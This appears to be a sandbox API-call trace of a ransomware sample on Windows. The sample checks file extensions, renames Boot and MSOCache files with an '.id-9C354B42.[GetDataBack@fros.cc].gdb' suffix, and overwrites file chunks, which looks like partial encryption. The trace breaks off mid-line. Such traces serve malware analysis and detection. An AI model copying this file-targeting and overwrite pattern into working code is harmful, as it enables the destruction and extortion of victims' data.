lstrlenW (lpString=".7z") returned 3 [0115.580] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".dbf") returned 4 [0115.580] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".1cd") returned 4 [0115.580] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".jpg") returned 4 [0115.580] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".doc") returned 4 [0115.580] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.580] lstrlenW (lpString=".docx") returned 5 [0115.580] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.580] lstrlenW (lpString=".pdf") returned 4 [0115.580] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".xls") returned 4 [0115.580] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".xlsx") returned 5 [0115.580] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.580] lstrlenW (lpString=".ppt") returned 4 [0115.580] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.580] lstrlenW (lpString=".zip") returned 4 [0115.580] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".rar") returned 4 [0115.580] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.580] lstrlenW (lpString=".bz2") returned 4 [0115.580] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.580] lstrlenW (lpString=".7z") returned 3 [0115.580] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.580] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.581] lstrlenW (lpString=".dbf") returned 4 [0115.581] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.581] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.581] lstrlenW (lpString=".1cd") returned 4 [0115.581] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.581] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0115.581] lstrlenW (lpString=".jpg") returned 4 [0115.581] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.581] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.581] lstrlenW (lpString="memtest.exe.mui") returned 15 [0115.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.581] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=43600) returned 1 [0115.581] CloseHandle (hObject=0x198) returned 1 [0115.581] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0115.581] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.581] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.581] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.581] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.581] lstrlenW (lpString=".doc") returned 4 [0115.581] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.581] lstrlenW (lpString=".docx") returned 5 [0115.581] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.581] lstrlenW (lpString=".pdf") returned 4 [0115.581] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.581] lstrlenW (lpString=".xls") returned 4 [0115.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString=".xlsx") returned 5 [0115.582] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.582] lstrlenW (lpString=".ppt") returned 4 [0115.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".zip") returned 4 [0115.582] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString=".rar") returned 4 [0115.582] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString=".bz2") returned 4 [0115.582] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.582] lstrlenW (lpString=".7z") returned 3 [0115.582] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".dbf") returned 4 [0115.582] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".1cd") returned 4 [0115.582] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".jpg") returned 4 [0115.582] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".doc") returned 4 [0115.582] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.582] lstrlenW (lpString=".docx") returned 5 [0115.582] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.582] lstrlenW (lpString=".pdf") returned 4 [0115.582] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString=".xls") returned 4 [0115.582] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString=".xlsx") returned 5 [0115.582] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.582] lstrlenW (lpString=".ppt") returned 4 [0115.582] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.582] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.582] lstrlenW (lpString=".zip") returned 4 [0115.583] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.583] lstrlenW (lpString=".rar") returned 4 [0115.583] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.583] lstrlenW (lpString=".bz2") returned 4 [0115.583] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.583] lstrlenW (lpString=".7z") returned 3 [0115.583] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.583] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.583] lstrlenW (lpString=".dbf") returned 4 [0115.583] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.583] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.583] lstrlenW (lpString=".1cd") returned 4 [0115.583] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.583] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0115.583] lstrlenW (lpString=".jpg") returned 4 [0115.583] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.583] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.583] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.583] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.583] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=90192) returned 1 [0115.583] CloseHandle (hObject=0x198) returned 1 [0115.583] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0115.583] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.584] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.584] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0115.584] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0115.584] lstrlenW (lpString=".doc") returned 4 [0115.584] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.584] lstrlenW (lpString=".docx") returned 5 [0115.584] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.584] lstrlenW (lpString=".pdf") returned 4 [0115.584] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.584] lstrlenW (lpString=".xls") returned 4 [0115.584] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.584] lstrlenW (lpString=".xlsx") returned 5 [0115.584] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.584] lstrlenW (lpString=".ppt") returned 4 [0115.584] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.584] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0115.584] lstrlenW (lpString=".zip") returned 4 [0115.584] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.584] lstrlenW (lpString=".rar") returned 4 [0115.584] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.584] lstrlenW (lpString=".bz2") returned 4 [0115.584] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.584] lstrlenW (lpString=".7z") returned 3 [0115.584] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.585] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0115.664] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0 [0115.664] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0115.665] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0115.665] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0115.665] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0115.665] ReadFile (in: hFile=0x1ac, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0115.675] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0115.675] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0116.046] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0116.046] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0116.046] ReadFile (in: hFile=0x1ac, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0116.073] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0116.074] WriteFile (in: hFile=0x1ac, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc010e, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc010e, lpOverlapped=0x0) returned 1 [0116.092] SetEndOfFile (hFile=0x1ac) returned 1 [0116.092] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0116.092] WriteFile (in: hFile=0x1ac, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0116.094] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0116.094] WriteFile (in: hFile=0x1ac, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0116.099] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x223400, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0116.099] WriteFile (in: hFile=0x1ac, lpBuffer=0x3807fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3807fa8*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0116.439] CloseHandle (hObject=0x1ac) returned 1 [0116.997] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".doc") returned 4 [0116.998] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0116.998] lstrlenW (lpString=".docx") returned 5 [0116.998] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0116.998] lstrlenW (lpString=".pdf") returned 4 [0116.998] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0116.998] lstrlenW (lpString=".xls") returned 4 [0116.998] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0116.998] lstrlenW (lpString=".xlsx") returned 5 [0116.998] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0116.998] lstrlenW (lpString=".ppt") returned 4 [0116.998] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".zip") returned 4 [0116.998] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0116.998] lstrlenW (lpString=".rar") returned 4 [0116.998] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0116.998] lstrlenW (lpString=".bz2") returned 4 [0116.998] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0116.998] lstrlenW (lpString=".7z") returned 3 [0116.998] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".dbf") returned 4 [0116.998] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".1cd") returned 4 [0116.998] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".jpg") returned 4 [0116.998] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.998] lstrlenW (lpString=".doc") returned 4 [0116.998] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0116.999] lstrlenW (lpString=".docx") returned 5 [0116.999] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0116.999] lstrlenW (lpString=".pdf") returned 4 [0116.999] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0116.999] lstrlenW (lpString=".xls") returned 4 [0116.999] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0116.999] lstrlenW (lpString=".xlsx") returned 5 [0116.999] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0116.999] lstrlenW (lpString=".ppt") returned 4 [0116.999] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0116.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.999] lstrlenW (lpString=".zip") returned 4 [0116.999] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0116.999] lstrlenW (lpString=".rar") returned 4 [0116.999] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0116.999] lstrlenW (lpString=".bz2") returned 4 [0116.999] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0116.999] lstrlenW (lpString=".7z") returned 3 [0116.999] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0116.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.999] lstrlenW (lpString=".dbf") returned 4 [0116.999] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0116.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.999] lstrlenW (lpString=".1cd") returned 4 [0116.999] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0116.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi") returned 80 [0116.999] lstrlenW (lpString=".jpg") returned 4 [0116.999] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0116.999] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0116.999] lstrlenW (lpString="PubLR.cab") returned 9 [0116.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0116.999] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2a7fe9c | out: lpFileSize=0x2a7fe9c*=9958388) returned 1 [0116.999] CloseHandle (hObject=0x1ac) returned 1 [0117.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab")) returned 0x2020 [0117.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0117.000] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0117.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0117.000] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0x0) returned 1 [0117.000] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0117.000] ReadFile (in: hFile=0x1ac, lpBuffer=0x3340058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3340058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0117.576] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0117.576] ReadFile (in: hFile=0x1ac, lpBuffer=0x3380058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x3380058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0117.583] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a7fbec | out: lpNewFilePointer=0xffffffff) returned 1 [0117.583] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbac | out: lpNewFilePointer=0x0) returned 1 [0117.583] ReadFile (in: hFile=0x1ac, lpBuffer=0x33c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a7fbb8, lpOverlapped=0x0 | out: lpBuffer=0x33c0058*, lpNumberOfBytesRead=0x2a7fbb8*=0x40000, lpOverlapped=0x0) returned 1 [0117.600] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fe48 | out: lpNewFilePointer=0x0) returned 1 [0117.600] WriteFile (in: hFile=0x1ac, lpBuffer=0x3340020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2a7fc30, lpOverlapped=0x0 | out: lpBuffer=0x3340020*, lpNumberOfBytesWritten=0x2a7fc30*=0xc00fe, lpOverlapped=0x0) returned 1 [0117.878] SetEndOfFile (hFile=0x1ac) returned 1 [0117.883] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0117.883] WriteFile (in: hFile=0x1ac, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0117.885] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x32a6a6, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0117.885] WriteFile (in: hFile=0x1ac, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: lpBuffer=0x3899fd0*, lpNumberOfBytesWritten=0x2a7fc08*=0x40000, lpOverlapped=0x0) returned 1 [0117.892] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x93f3f4, lpNewFilePointer=0x0, dwMoveMethod=0x2a7fbfc | out: lpNewFilePointer=0x0) returned 1 [0117.892] WriteFile (in: hFile=0x1ac, lpBuffer=0x3899fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a7fc08, lpOverlapped=0x0 | out: 